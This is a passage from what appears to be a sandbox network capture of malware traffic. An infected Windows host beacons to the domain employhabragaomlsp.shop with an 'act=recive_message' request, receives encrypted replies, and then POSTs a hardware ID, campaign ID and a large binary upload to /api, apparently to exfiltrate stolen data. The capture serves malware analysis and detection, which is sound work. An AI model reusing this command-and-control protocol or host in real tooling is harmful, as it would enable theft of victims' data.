2024-05-24 07:43:02 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 07:43:02 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3jpsdeocs48sh4goomb1sllmc4; expires=Tue, 17-Sep-2024 01:29:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hia8mKNGJDYg9jRVsNuktwz9bUKyTYeba8yV3WYLl57jRPw0m61eRaUK1ORuqa0kCM6HX0%2F%2BDbb%2BxOXUf9S3X1x3hqsY%2BPIdhHaE4POrBHv5KZIE37kiATCwor0tokSFZ7QegUYxmgDJqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7060d3c42a9-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:02 UTC	555	IN	Data Raw: 31 66 63 35 0d 0a 51 74 30 52 4e 4b 4f 4a 46 55 68 68 58 53 5a 6a 32 6f 7a 52 52 6a 2b 47 46 55 4b 4a 31 4e 46 4a 52 71 5a 73 6a 6d 49 30 48 46 63 35 31 78 67 57 31 61 73 76 61 46 56 78 4c 47 72 34 2f 37 52 6b 42 61 5a 68 4d 50 79 78 2f 55 4e 50 68 41 33 71 51 41 34 38 4d 53 4f 78 59 6c 47 50 67 78 78 71 44 43 55 45 57 66 72 58 32 30 39 45 6a 42 78 4c 71 37 47 2f 61 33 79 47 54 76 6b 48 56 6e 6b 76 4e 72 68 2f 52 38 72 6d 65 77 67 4d 4f 46 49 43 74 2b 32 69 4c 52 48 76 65 6d 43 6c 33 74 68 41 5a 4d 4d 57 72 46 67 55 50 68 6f 6e 71 58 42 35 77 76 70 2b 61 6b 31 58 4c 32 72 34 36 61 56 6b 42 61 59 33 48 71 75 6b 73 44 73 6e 79 78 2f 53 51 41 35 6e 43 32 43 30 5a 56 48 52 36 47 45 68 44 6a 4e 56 50 2f 69 32 35 33 59 50 74 69 56 79 39 50 62 62 51 44 75 73 5a Data Ascii: 1fc5Qt0RNKOJFUhhXSZj2ozRRj+GFUKJ1NFJRqZsjmI0HFc51xgW1asvaFVxLGr4/7RkBaZhMPyx/UNPhA3qQA48MSOxYlGPgxxqDCUEWfrX209EjBxLq7G/a3yGTvkHVnkvNrh/R8rmewgMOFICt+2iLRHvemCl3thAZMMWrFgUPhonqXB5wvp+ak1XL2r46aVkBaY3HquksDsnyx/SQA5nC2C0ZVHR6GEhDjNVP/i253YPtiVy9PbbQDusZ
2024-05-24 07:43:02 UTC	1369	IN	Data Raw: 47 73 39 50 6a 49 73 2f 79 73 55 67 65 31 35 4b 77 34 2f 56 67 6d 7a 35 62 59 32 56 75 31 36 4c 65 75 37 75 53 51 6e 78 41 6e 6d 43 6c 6c 30 4d 53 32 79 64 56 62 42 71 7a 6c 43 61 46 51 45 42 71 43 75 36 32 59 64 78 33 49 77 37 4c 71 6c 61 52 36 45 5a 6f 63 66 47 42 56 33 59 74 63 59 54 36 6d 41 48 47 6f 45 4d 77 52 5a 2b 71 36 37 49 56 37 6e 66 43 2f 6f 76 72 67 35 4a 4e 59 49 34 51 56 45 65 44 41 75 74 58 42 45 79 2b 56 78 4b 51 6f 30 54 51 53 2f 36 76 4e 71 4e 59 38 63 59 4f 79 75 38 33 4e 6d 68 43 2f 68 43 31 70 30 49 69 44 2f 47 7a 33 65 70 52 39 42 47 6c 63 76 61 76 6a 70 76 32 51 46 70 6a 63 6b 36 72 4b 79 4c 79 72 4b 43 75 41 47 57 48 4d 36 4a 72 56 7a 55 63 76 6a 66 79 73 4f 4e 45 73 42 76 65 4f 33 49 6c 48 6c 63 6d 43 6c 33 74 68 41 5a 4d 4d 57 Data Ascii: Gs9PjIs/ysUge15Kw4/Vgmz5bY2Vu16Leu7uSQnxAnmCll0MS2ydVbBqzlCaFQEBqCu62Ydx3Iw7LqlaR6EZocfGBV3YtcYT6mAHGoEMwRZ+q67IV7nfC/ovrg5JNYI4QVEeDAutXBEy+VxKQo0TQS/6vNqNY8cYOyu83NmhC/hC1p0IiD/Gz3epR9BGlcvavjpv2QFpjck6rKyLyrKCuAGWHM6JrVzUcvjfysONEsBveO3IlHlcmCl3thAZMMW
2024-05-24 07:43:02 UTC	1369	IN	Data Raw: 63 77 4c 36 31 35 57 73 44 35 63 43 4d 4b 4e 55 55 50 74 2b 57 2f 49 55 2f 76 65 43 6a 6b 74 37 34 6d 4c 38 41 4f 72 45 34 2b 46 56 35 67 75 47 73 57 6d 61 6b 33 43 77 34 77 56 67 4b 70 72 49 59 6e 55 2b 70 77 4e 71 76 65 32 44 52 71 72 47 58 31 61 44 30 56 64 53 65 7a 4d 77 36 44 71 33 59 6d 44 7a 35 4c 42 37 4c 6d 73 43 56 50 37 58 67 6f 35 4c 2b 79 4b 43 44 46 42 50 34 53 56 6e 49 6e 4c 4c 56 31 57 63 7a 6e 4e 32 52 72 56 43 39 42 76 2f 62 7a 66 42 2b 6b 58 53 50 2f 74 62 6c 70 45 63 63 41 34 67 64 41 50 6c 31 4c 6f 44 30 2b 71 76 49 66 51 57 68 2f 51 77 33 34 74 76 46 6b 55 4f 56 2f 4a 76 6d 35 76 69 67 71 79 67 48 70 44 31 35 2b 4e 53 32 36 64 31 33 4b 36 48 6f 75 45 54 56 45 43 62 33 76 75 53 34 64 71 68 39 4c 67 50 61 30 4d 32 53 63 54 4b 77 78 51 Data Ascii: cwL615WsD5cCMKNUUPt+W/IU/veCjkt74mL8AOrE4+FV5guGsWmak3Cw4wVgKprIYnU+pwNqve2DRqrGX1aD0VdSezMw6Dq3YmDz5LB7LmsCVP7Xgo5L+yKCDFBP4SVnInLLV1WcznN2RrVC9Bv/bzfB+kXSP/tblpEccA4gdAPl1LoD0+qvIfQWh/Qw34tvFkUOV/Jvm5vigqygHpD15+NS26d13K6HouETVECb3vuS4dqh9LgPa0M2ScTKwxQ
2024-05-24 07:43:02 UTC	1369	IN	Data Raw: 34 66 31 37 45 35 48 45 76 44 6a 68 50 41 71 72 38 73 43 42 54 36 44 64 75 67 39 33 59 61 79 50 63 54 72 52 43 46 6c 73 69 49 36 39 31 56 59 47 44 48 44 56 4e 56 79 38 59 30 49 58 59 5a 46 72 6f 4e 33 69 70 39 72 4d 6c 4b 4d 38 4a 35 77 74 53 65 6a 55 74 74 48 31 59 79 4f 64 2f 4a 67 51 74 53 51 53 77 35 4c 6f 68 55 65 6c 30 4d 75 69 33 38 32 56 4d 72 32 57 73 42 30 34 2b 62 57 4c 2f 56 47 58 32 79 44 64 43 61 43 41 4b 61 64 50 33 32 30 38 32 70 48 41 73 71 2b 37 78 61 79 58 4d 43 65 49 45 52 48 41 6e 4c 72 68 7a 55 4d 6e 6a 63 43 59 4e 4d 56 59 4a 75 65 36 39 4b 31 58 74 63 79 48 76 73 72 38 73 5a 49 70 6d 68 32 73 57 65 53 31 67 35 7a 45 57 36 65 68 74 4d 45 45 52 54 77 47 2f 2f 71 55 2f 48 59 77 63 50 36 58 65 32 44 4a 4d 72 32 57 73 42 31 6f 2b 62 57 Data Ascii: 4f17E5HEvDjhPAqr8sCBT6Ddug93YayPcTrRCFlsiI691VYGDHDVNVy8Y0IXYZFroN3ip9rMlKM8J5wtSejUttH1YyOd/JgQtSQSw5LohUel0Mui382VMr2WsB04+bWL/VGX2yDdCaCAKadP32082pHAsq+7xayXMCeIERHAnLrhzUMnjcCYNMVYJue69K1XtcyHvsr8sZIpmh2sWeS1g5zEW6ehtMEERTwG//qU/HYwcP6Xe2DJMr2WsB1o+bW
2024-05-24 07:43:02 UTC	1369	IN	Data Raw: 7a 2b 64 38 49 51 67 38 54 67 69 37 34 72 55 6c 55 2b 52 35 49 4b 76 34 32 30 42 50 68 41 6e 30 51 41 34 38 64 51 43 30 5a 55 50 43 2b 33 45 74 44 33 38 73 61 71 65 67 32 30 39 45 6a 42 78 4c 71 37 47 2f 61 33 79 47 54 75 49 53 55 6e 38 31 4b 4c 5a 2f 58 63 6e 35 63 43 30 49 4d 55 6f 4b 76 4f 4b 36 4c 31 54 68 65 79 48 67 76 37 59 76 4c 73 49 44 72 45 34 2b 46 56 35 67 75 47 73 57 6d 61 6b 33 42 67 41 77 54 30 48 51 68 61 78 71 4e 59 39 75 53 49 44 64 38 79 77 6f 68 46 61 75 51 46 46 32 50 53 36 38 64 56 33 4e 35 33 59 6a 42 54 70 4d 42 72 66 70 75 69 4e 64 34 6d 55 6e 35 72 2b 7a 49 43 33 4f 43 75 30 4c 46 6a 42 64 53 39 51 7a 55 64 6d 72 4c 32 68 44 44 55 4d 58 71 4f 33 7a 54 44 62 37 4f 55 75 44 33 61 70 44 54 36 39 4f 36 77 77 57 4a 6e 64 67 73 6d 46 Data Ascii: z+d8IQg8Tgi74rUlU+R5IKv420BPhAn0QA48dQC0ZUPC+3EtD38saqeg209EjBxLq7G/a3yGTuISUn81KLZ/Xcn5cC0IMUoKvOK6L1TheyHgv7YvLsIDrE4+FV5guGsWmak3BgAwT0HQhaxqNY9uSIDd8ywohFauQFF2PS68dV3N53YjBTpMBrfpuiNd4mUn5r+zIC3OCu0LFjBdS9QzUdmrL2hDDUMXqO3zTDb7OUuD3apDT69O6wwWJndgsmF
2024-05-24 07:43:02 UTC	1369	IN	Data Raw: 33 4a 42 66 30 55 4e 74 2b 32 38 4a 31 37 6c 66 54 4c 35 75 72 6f 6a 49 63 67 46 34 67 5a 45 65 44 6f 70 76 48 42 66 78 75 4e 37 49 41 41 34 42 45 2f 51 68 64 68 6b 57 76 77 33 65 4b 6e 32 6b 44 77 30 79 55 36 45 61 30 6b 77 58 55 75 6d 47 7a 32 71 71 33 41 6d 51 32 63 47 51 62 44 6a 75 79 35 5a 34 33 6f 6e 37 62 2b 68 49 69 48 4b 44 75 67 4c 57 58 67 78 49 37 39 68 55 4d 58 6a 64 43 63 4f 4d 55 63 46 2b 4b 44 62 54 7a 61 6b 63 44 69 72 37 76 46 72 46 73 6b 41 39 77 39 52 62 7a 39 67 31 78 68 4a 6a 34 4d 63 4d 32 74 55 4c 30 47 2f 34 76 4e 38 48 36 52 7a 4c 76 6d 39 73 69 41 76 79 67 6e 6a 42 56 78 2b 4f 69 53 38 66 56 33 41 36 48 38 6e 44 6a 46 4f 43 4c 48 70 76 79 42 61 70 44 6c 49 67 4e 33 7a 4c 44 79 45 56 71 35 41 66 56 38 59 44 4c 68 70 46 71 6d 41 Data Ascii: 3JBf0UNt+28J17lfTL5urojIcgF4gZEeDopvHBfxuN7IAA4BE/QhdhkWvw3eKn2kDw0yU6Ea0kwXUumGz2qq3AmQ2cGQbDjuy5Z43on7b+hIiHKDugLWXgxI79hUMXjdCcOMUcF+KDbTzakcDir7vFrFskA9w9Rbz9g1xhJj4McM2tUL0G/4vN8H6RzLvm9siAvygnjBVx+OiS8fV3A6H8nDjFOCLHpvyBapDlIgN3zLDyEVq5AfV8YDLhpFqmA
2024-05-24 07:43:02 UTC	741	IN	Data Raw: 68 49 46 37 50 76 73 44 4a 51 39 44 64 49 67 4b 6e 39 51 30 2f 64 5a 6f 64 72 46 6e 6b 35 59 4f 63 78 46 73 66 69 63 53 30 46 4d 56 59 45 76 75 47 38 4c 56 54 67 66 79 50 72 73 72 63 73 49 63 63 43 35 77 64 56 63 54 45 70 73 58 70 5a 67 61 55 66 51 57 68 2f 51 78 6e 34 74 76 46 6b 66 50 39 30 4c 4f 62 32 32 30 41 37 69 6d 61 48 47 54 34 56 58 6d 43 34 66 78 61 5a 71 54 63 6d 44 54 70 45 43 37 37 71 74 69 4a 58 34 58 63 72 36 4c 6d 33 4c 53 44 4c 44 75 63 4a 56 33 67 77 4b 72 52 31 57 38 4c 74 63 57 70 4e 56 79 39 71 2b 4f 6d 72 5a 41 57 6d 4e 77 44 77 75 37 38 73 5a 4b 78 6c 38 30 34 2b 46 53 78 49 31 42 67 57 78 75 63 33 63 6b 46 2f 54 77 32 38 36 62 4d 70 58 75 78 79 4a 4f 47 7a 73 79 4d 32 7a 41 37 72 45 6b 52 2b 50 43 57 7a 63 46 62 46 37 58 34 73 41 Data Ascii: hIF7PvsDJQ9DdIgKn9Q0/dZodrFnk5YOcxFsficS0FMVYEvuG8LVTgfyPrsrcsIccC5wdVcTEpsXpZgaUfQWh/Qxn4tvFkfP90LOb220A7imaHGT4VXmC4fxaZqTcmDTpEC77qtiJX4Xcr6Lm3LSDLDucJV3gwKrR1W8LtcWpNVy9q+OmrZAWmNwDwu78sZKxl804+FSxI1BgWxuc3ckF/Tw286bMpXuxyJOGzsyM2zA7rEkR+PCWzcFbF7X4sA
2024-05-24 07:43:02 UTC	1369	IN	Data Raw: 31 64 65 66 0d 0a 2f 79 67 75 54 42 6b 72 47 58 7a 54 6a 34 56 4c 45 6a 55 47 42 62 47 35 7a 64 79 51 58 39 4a 42 72 62 6d 74 53 70 62 39 6e 73 76 37 62 61 79 49 53 6e 49 42 65 73 4f 58 58 67 77 4c 62 39 31 55 4d 58 76 63 79 51 41 66 77 70 70 30 34 58 7a 49 30 57 6b 4c 32 4b 72 6b 5a 34 61 5a 75 63 5a 2b 67 70 52 63 69 4d 72 76 6e 42 41 7a 50 73 33 51 6d 67 67 43 6d 6e 54 39 39 74 50 4e 71 52 77 4c 4b 76 75 38 57 73 76 79 67 76 74 44 46 78 35 4f 7a 4b 2b 65 56 72 41 37 48 41 68 45 54 52 57 43 72 44 74 76 53 78 55 35 48 6b 67 36 72 75 7a 61 32 71 73 5a 59 64 41 55 57 5a 31 65 50 30 7a 63 2b 4c 38 59 53 42 42 48 46 4d 58 73 75 6d 2f 4d 6c 62 6c 64 44 62 6d 70 76 4e 44 54 39 74 41 68 47 74 50 46 6c 35 4c 2f 33 52 61 67 62 4d 31 61 67 67 77 53 67 79 7a 36 72 Data Ascii: 1def/yguTBkrGXzTj4VLEjUGBbG5zdyQX9JBrbmtSpb9nsv7bayISnIBesOXXgwLb91UMXvcyQAfwpp04XzI0WkL2KrkZ4aZucZ+gpRciMrvnBAzPs3QmggCmnT99tPNqRwLKvu8WsvygvtDFx5OzK+eVrA7HAhETRWCrDtvSxU5Hkg6ruza2qsZYdAUWZ1eP0zc+L8YSBBHFMXsum/MlbldDbmpvNDT9tAhGtPFl5L/3RagbM1aggwSgyz6r
2024-05-24 07:43:02 UTC	1369	IN	Data Raw: 48 45 75 72 73 71 4a 72 66 49 5a 65 76 6c 73 44 4c 57 4a 77 37 52 73 39 33 71 55 66 51 52 70 58 4c 32 72 34 2b 50 4e 38 48 37 59 35 53 49 44 64 38 7a 6c 6b 6e 45 79 73 52 31 68 7a 4e 43 4f 78 63 45 54 54 37 58 51 38 41 48 68 36 50 35 6e 6a 75 43 68 51 36 33 77 65 31 5a 65 2b 49 43 6a 4a 41 65 63 2b 61 47 73 32 4c 72 46 30 51 4e 43 72 4f 55 4a 6f 56 41 51 4f 2b 4c 62 78 48 52 32 73 4e 78 2b 6c 33 74 68 41 5a 4e 78 4f 74 45 49 57 53 7a 59 75 73 58 52 41 30 4b 5a 57 4a 77 67 7a 53 51 36 7a 72 76 31 4d 4e 6f 38 33 4a 71 76 75 38 58 74 71 72 47 57 48 51 46 4a 76 64 58 6a 39 49 77 53 61 76 69 52 39 55 32 30 73 61 71 65 67 32 30 39 45 6a 42 78 4c 71 36 44 7a 63 32 61 57 51 49 52 72 50 54 34 6e 59 4f 63 78 46 6f 62 6f 5a 54 67 46 50 46 49 43 2f 39 43 4e 42 30 72 Data Ascii: HEursqJrfIZevlsDLWJw7Rs93qUfQRpXL2r4+PN8H7Y5SIDd8zlknEysR1hzNCOxcETT7XQ8AHh6P5njuChQ63we1Ze+ICjJAec+aGs2LrF0QNCrOUJoVAQO+LbxHR2sNx+l3thAZNxOtEIWSzYusXRA0KZWJwgzSQ6zrv1MNo83Jqvu8XtqrGWHQFJvdXj9IwSaviR9U20saqeg209EjBxLq6Dzc2aWQIRrPT4nYOcxFoboZTgFPFIC/9CNB0r

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49925	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:02 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 573042 Host: employhabragaomlsp.shop
2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: 22 e4 03 f8 5d 15 2b 4c 25 56 4a 33 96 00 92 9e 84 05 53 1e 87 bd 02 6c 33 05 f0 bb f0 5a df 61 1c 92 d1 db 0a af 31 86 ce 4b d2 f0 bb c9 2e 22 e0 8c 3a 16 c6 71 b1 6b d6 e8 50 c5 ed ab fb b9 6e db 41 6a 90 e3 ff 5b a5 a4 f9 00 dd 7e 57 70 07 0d ea c9 e4 9e 20 e0 b5 85 83 05 68 0a ce 69 61 e1 25 66 ec 9e b4 52 01 88 f7 e7 82 51 ea 31 06 6f c1 d0 b6 cd 12 62 1c 92 ea 15 06 97 12 d3 1c dc 70 a0 41 9e 17 60 8c 8e d9 9e e1 50 02 c9 a9 c0 d4 ed fc 22 4d 9a df e6 e7 e4 b0 87 5f 8c 98 a2 9d 52 5e 8e 5c 28 7a c4 38 fe d5 e2 94 0a 6f 5a 2b 8e 5a 61 2a ab 31 04 cb f4 14 21 36 80 f7 a3 a8 18 53 70 01 c3 a2 a4 6c 35 f8 bb c8 73 6a 1d 89 5c d2 8a 7c 15 ff 98 f1 f8 aa 9d 04 95 cc 48 c7 c2 12 cb 9a 33 ef 96 80 df 1e 9a 36 3a 50 10 fc e8 47 b3 37 8f 8c 04 aa c4 af dd 3c Data Ascii: "]+L%VJ3Sl3Za1K.":qkPnAj[~Wp hia%fRQ1obpA`P"M_R^\(z8oZ+Za*1!6Spl5sj\\|H36:PG7<
2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: 44 14 55 22 24 6f 59 19 49 63 1f 47 da 98 39 bd 9a ce 68 ff b5 06 cd 21 2c 6f 14 94 c2 be a8 b7 ca 6d 12 70 e4 a6 c2 58 fe 44 44 0b 45 22 d8 4b 82 76 ea 01 ae e3 05 82 8a 94 19 06 7b a5 22 4b 4c d7 32 1f 0d 9b 8a d1 2a e3 d3 cf 2a d7 25 43 04 88 7b ba df e5 37 d1 4d a6 60 a1 18 2d d5 87 78 b9 c2 17 1a b3 1f 0a 45 c6 76 4f 1a 02 1f 24 fa 4d 9d 52 04 62 82 4a ae 29 c5 e8 a0 7b 06 c3 85 66 bf 18 4d 0f 76 ac d3 4b 2c f6 77 9e 67 4a a2 c3 05 79 fb ea e9 7f a9 ba 7e 8f a3 30 0c ca 38 73 73 46 7e ab 6f 8e 59 72 06 a4 11 7e e7 2b 72 73 dd 0c 22 5c 6b 47 a8 d6 f7 07 c8 7b ba ae 47 50 ae 9c e1 ba bc c1 43 a3 af e6 a7 be 8b 5d ae fc 2b e8 67 8b c6 66 bc b7 0b e4 a3 09 67 9e 20 63 ee 60 ee 3e 58 bc 14 93 95 a7 76 27 9e 4d 6a 3d 48 be c0 68 58 38 c1 6e d4 cd 93 08 63 Data Ascii: DU"$oYIcG9h!,ompXDDE"Kv{"KL2**%C{7M`-xEvO$MRbJ){fMvK,wgJy~08ssF~oYr~+rs"\kG{GPC]+gfg c`>Xv'Mj=HhX8nc
2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: dc a0 7d 72 10 21 ee ee 1d a0 fa 42 97 d3 ef 2d 43 8a be fa ed 49 89 ed d2 57 7b ea c5 a5 67 57 c3 80 6d 0c 6a 8e 6d d6 9a 57 02 30 d4 df 77 3f 1e 79 c5 74 e9 0b ce 40 1d 68 99 6f de f7 68 9d 70 35 5c 29 35 c5 db 3a 18 e5 bf bb 36 f5 17 41 37 45 50 fc 45 ec 80 2f 38 63 f3 5f d1 e4 e8 f5 8e 3a a3 9c a5 89 66 ab ed a5 a2 8f 4e bc e4 68 f9 dd 25 35 9f b8 66 3b e7 c3 af 17 de fb ef 65 c8 0e 0b de a1 b8 7d 40 f7 22 3f 3f e4 48 3f 20 fc 57 4b 49 dd dc e4 5c a4 ba 86 2e d9 7d bc d1 1b b5 24 72 13 ed 71 cf 35 49 28 a9 41 4f d0 cc 05 8c b5 a9 31 95 ba bd 05 c1 b5 25 d8 79 94 ba 79 5c 86 4e 18 dc f2 bb 73 f2 73 37 8e d9 d3 7e b4 24 6d e1 11 65 6f 77 fb c7 b9 d4 ca 1f 1c 83 38 0b 8a ec d5 e6 bb 3c c5 8b e7 68 7e 65 ad fd e4 4f bb 67 78 fa 2d 7f aa 1e 74 7b f5 c1 56 Data Ascii: }r!B-CIW{gWmjmW0w?yt@hohp5\)5:6A7EPE/8c_:fNh%5f;e}@"??H? WKI\.}$rq5I(AO1%yy\Nss7~$meow8<h~eOgx-t{V
2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: 4c de 84 4d f5 fd b9 38 b8 79 50 47 b8 cb 57 eb 34 c7 47 ca 68 bc cd c1 ab 9c 9c b3 e0 35 34 f2 42 75 a9 36 b9 aa 2c 09 1d 7b 40 75 c4 82 63 13 bc df d9 45 5e 6c f7 ce 9e 56 a6 db 43 6e b3 66 65 de 93 bf c7 4a 32 e0 55 81 9b d5 19 ae b9 10 6f 19 d1 8b 30 98 e3 82 3f cc 18 dc dc 8b 10 02 46 13 b9 50 1d 11 e8 bd 3e c3 47 1c 1c 57 b3 d9 81 3c 0f a5 37 44 fd af 4c da 22 83 02 6e 7b 4d 3a 15 dd 47 82 0f f7 32 9b 78 c0 10 c5 71 d4 5a d5 05 23 bc f3 ee fd a7 c3 ef b5 4d fd b5 24 1d ee 1f 91 b4 b9 a7 f2 5e d9 9c 94 ee 87 fe fb 80 d6 b4 70 32 61 05 62 f8 27 52 f9 fe ff af e4 86 24 28 1d e3 81 f3 c0 e2 9f 81 4b 32 8b 6f 84 18 55 e5 94 94 16 64 31 fc 79 b1 e4 51 11 0f 07 e1 3c d5 fe 89 b3 23 9c f0 5d a2 2c 2b 41 10 f1 67 7b 3a 50 d1 7e 86 24 d6 1a a4 06 6e 45 69 53 Data Ascii: LM8yPGW4Gh54Bu6,{@ucE^lVCnfeJ2Uo0?FP>GW<7DL"n{M:G2xqZ#M$^p2ab'R$(K2oUd1yQ<#],+Ag{:P~$nEiS
2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: 7b 2b b1 42 b8 41 90 d2 e4 c6 f7 72 e2 6c e7 e4 d2 da 90 8d 5b c5 fc 3a b3 08 39 a7 3a 09 e1 a6 72 64 85 45 e3 e7 e5 1a 6c b5 7c a1 8b 3d a1 40 ee 59 54 21 a9 d1 c0 c0 57 e0 c7 c1 96 40 aa ba 72 ab b7 76 6d 02 14 ef bd ed f3 2c 4d 0b 19 58 b0 fd 6a 47 ad 88 b5 0c 23 00 b1 ab d6 19 a5 1c ae cf b1 ed e2 98 d2 2f 84 01 41 37 c6 ee f1 f5 dc 3f 72 77 6b d2 a9 5e b1 bb c8 d9 a3 2d 59 a8 44 25 da 50 cc 7e bc ef f2 47 23 9b 6f fa 9e 05 82 86 1a 4d 61 5b 7c 61 a7 db f8 8a f3 0d 67 1d 63 7b 2b b6 1f fc 08 32 fc 21 74 ce 59 f6 57 5d e2 33 e8 77 09 36 b7 32 11 43 00 0f 86 0a e8 ad 6d 83 f2 b6 dc 1f ae 90 70 36 a2 77 10 b7 7e 8b 5e 70 54 e7 f0 96 3e ee 10 c7 1f 35 b1 75 94 5e 64 66 40 32 ac 92 64 44 ef 53 53 9f d5 93 c7 84 c0 3e 3f aa 43 fa a7 98 e7 41 fe 55 8c 1c 21 Data Ascii: {+BArl[:9:rdEl\|=@YT!W@rvm,MXjG#/A7?rwk^-YD%P~G#oMa[\|agc{+2!tYW]3w62Cmp6w~^pT>5u^df@2dDSS>?CAU!
2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: 62 31 1b 89 3c 84 91 e5 6d 96 b5 0b 99 5e ff 59 4e 91 13 25 ef ea 7a ce 2a f9 ff da 2a 7e e2 64 11 f0 f5 ce e1 bc b8 2a 8f 37 fb da 02 e3 74 fb be 21 f1 ee dc b7 aa ac 61 89 26 d8 85 53 25 c8 48 41 90 87 0e ac 2e cd 48 4a e3 04 21 37 50 e7 36 53 90 ba 9b 0d 9b 28 77 b8 55 f5 50 f4 c7 45 40 58 f5 0e 02 b7 70 32 b3 99 13 1c a8 92 ff 6d d9 2b 1b 1f bd 64 c0 b5 3b cb 43 b2 5e a6 fe f5 af 8f 1f 21 7f ec 8c cf 06 12 c4 7b 6f e0 16 71 c8 f2 5b 8e 69 ee 73 25 f1 d5 78 45 2b 5a 12 63 fd 67 26 3e f2 c9 66 68 0a 22 f9 36 0b b3 39 6e 4b 1a 4a 28 d0 46 c2 cd 07 ac 48 13 74 56 ee ac 96 7e 9b 8f 66 fd 8c 12 bd 89 06 b8 cd d5 9f 69 2c 9f 21 04 fd da e8 d2 e3 9c 7b 81 4c 76 80 73 f5 8f 6b 51 0e bd 60 b1 46 08 5c dd 18 2d f9 58 23 3d 5a a9 d4 b7 59 09 53 1f 03 10 5d 4a 7f Data Ascii: b1<m^YN%z*~d7t!a&S%HA.HJ!7P6S(wUPE@Xp2m+d;C^!{oq[is%xE+Zcg&>fh"69nKJ(FHtV~fi,!{LvskQ`F\-X#=ZYS]J
2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: b3 ee 0e 92 a0 fb 0e f5 27 91 10 22 87 98 77 a2 1e 08 98 83 d7 0d e7 af 85 c2 84 e7 21 fa fc 89 8b 43 15 0e a3 79 e9 04 11 4d 86 42 ba e2 6b 72 82 a7 29 6c 5a 0f 97 49 75 51 b9 ef a6 6d 2e 86 61 60 02 d9 99 ef 57 fb 7f db d3 5a f4 32 7f 24 6c 02 9e 03 73 cf 51 b0 ec fc 99 f1 17 58 98 0f c7 bb 28 8d ed 1c 9f 98 73 65 db 0f 44 1a 10 b5 51 66 62 7d 45 37 ec 6b 5d 94 d2 e7 c6 53 cc 2e 28 5e 52 ca 30 98 53 6f 73 8d b5 af 21 ca 87 ea 5d 12 8c 27 f3 03 5e 81 f5 d8 aa a3 ae f5 9d 66 4d e3 fb 43 1c a5 02 90 98 55 be a2 5e fa 03 4f 7f 12 f6 fa be 45 6f 28 19 d9 9d 1a d7 52 c3 7b 22 1a 68 36 9f 06 bf 95 af ea 97 78 72 5e 94 3d 38 3e 2c d1 ef b4 e9 fc 2f e2 09 a5 70 ff 54 fd 55 01 52 a0 47 0c 63 d8 28 bf a7 24 e0 9a d7 d2 e6 97 44 3c a9 d6 54 2e fd e7 75 da 59 bd a1 Data Ascii: '"w!CyMBkr)lZIuQm.a`WZ2$lsQX(seDQfb}E7k]S.(^R0Sos!]'^fMCU^OEo(R{"h6xr^=8>,/pTURGc($D<T.uY
